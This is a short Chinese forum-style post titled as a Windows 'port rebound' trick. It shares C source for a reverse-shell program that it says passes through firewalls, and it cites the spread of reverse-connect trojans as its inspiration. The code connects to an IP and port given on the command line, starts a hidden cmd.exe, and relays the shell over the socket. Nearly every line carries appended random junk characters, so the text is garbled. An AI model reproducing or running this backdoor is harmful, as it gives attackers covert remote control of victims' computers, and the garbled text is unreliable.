Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 DtFzT>$^F  
XU*4MU^'  
/* ============================== eZ G#op  
Rebound port in Windows NT [uLpm*7  
By wind,2006/7 i)1013b  
===============================*/ -V F*h.'  
#include gebDNl\Y2  
#include k .#I
;7  
j /)A<j$  
#pragma comment(lib,"wsock32.lib") oc>N| ww:  
)*`cJ_t  
void OutputShell(); fo"%4rkL  
SOCKET sClient; -+HD5Hc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mHB0eB'l  
xt z
jFfq  
void main(int argc,char **argv) @R
w]boC  
{ yEPkF0?  
WSADATA stWsaData; t%fcp  
int nRet; (7*((  
SOCKADDR_IN stSaiClient,stSaiServer; haSC[[o=  
]Vm:iF#5P  
if(argc != 3) >4G~01  
{ Q3'L\_1L  
printf("Useage:\n\rRebound DestIP DestPort\n"); BCI[jfd7  
return; F@ld#O  
} A|`mIma#  
6 =H]p1p~O  
WSAStartup(MAKEWORD(2,2),&stWsaData); e6i m_ Tk  
s
= bP@[Gj  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :\"V5  
,Zva^5  
stSaiClient.sin_family = AF_INET; \"|7o8  
stSaiClient.sin_port = htons(0); vUR@P -  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wv.HPmq  
TMG|"|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8D&yFal  
{ (7A-cC  
printf("Bind Socket Failed!\n"); d",VOhW7)S  
return; DEQ7u`6  
} j2`%sBo  
.L8g(F(=:  
stSaiServer.sin_family = AF_INET; L#`Vr$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r!&}4lHYi  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s(8e)0Tl  
[;pL15-}4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I\~sE Jwj  
{ v 8B4%1NE  
printf("Connect Error!"); -+z8bZ  
return; miB+
'n"zS  
} uhvn1"  
OutputShell(); o#QS: '|  
} !-~sxa280r  
2rWPqG4e  
void OutputShell() A(D3wctdr  
{ PlRcrT"#w  
char szBuff[1024]; B'hN3.  
SECURITY_ATTRIBUTES stSecurityAttributes; Jy P$'v~  
OSVERSIONINFO stOsversionInfo; >c=-uI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Nz%Yi?AF  
STARTUPINFO stStartupInfo; oR~s \Gt  
char *szShell; $6~t|[7:%Y  
PROCESS_INFORMATION stProcessInformation; 6^sH3=#  
unsigned long lBytesRead; i'3)5  
<"@5. f1"Y  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G<
>h>c1>z  
I#:Dk?"O2  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -u^f;4|u  
stSecurityAttributes.lpSecurityDescriptor = 0; Y-.aSc53  
stSecurityAttributes.bInheritHandle = TRUE; H+5S )r  
4O7 {a  

\ch4c9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [{.9#cQ"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i}/Het+(  
}t0JI3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C#@-uo2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B)BR y%  
stStartupInfo.wShowWindow = SW_HIDE; |e91KmiqJ  
stStartupInfo.hStdInput = hReadPipe; jGEmf<q&u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |F49<7XB[~  
fS]Z`U"
 
GetVersionEx(&stOsversionInfo); NL-V",gI-~  
Y'Yu1mH)  
switch(stOsversionInfo.dwPlatformId) 5Bp>*MR/".  
{ 9dFo_a*?  
case 1: *YP:-  
szShell = "command.com"; 8 Y))/]R  
break; R,`3 SW()  
default: ltlnXjRUv  
szShell = "cmd.exe"; OWZ;X}x  
break; e3WEsD+  
} >">grDX  
F./P,hhN9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "h:#'y$V  
59H~qE1Md  
send(sClient,szMsg,77,0); &F.L*M  
while(1) kC iOcl*$  
{ KidbcZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Tbj}04;I  
if(lBytesRead) q{XeRQ'/  
{ /hYFOZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qT^0 %O:  
send(sClient,szBuff,lBytesRead,0); "4L_BJZ  
} y3ST0=>j}  
else :8U@KABH@h  
{ Z@i,9 a  
lBytesRead=recv(sClient,szBuff,1024,0); = ,c!V  
if(lBytesRead<=0) break; CcZM0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @c=bH>Oz  
} Yb?(Q%  
} >M7(<V  
SN;_.46k  
return; %=)%$n3=-M  
}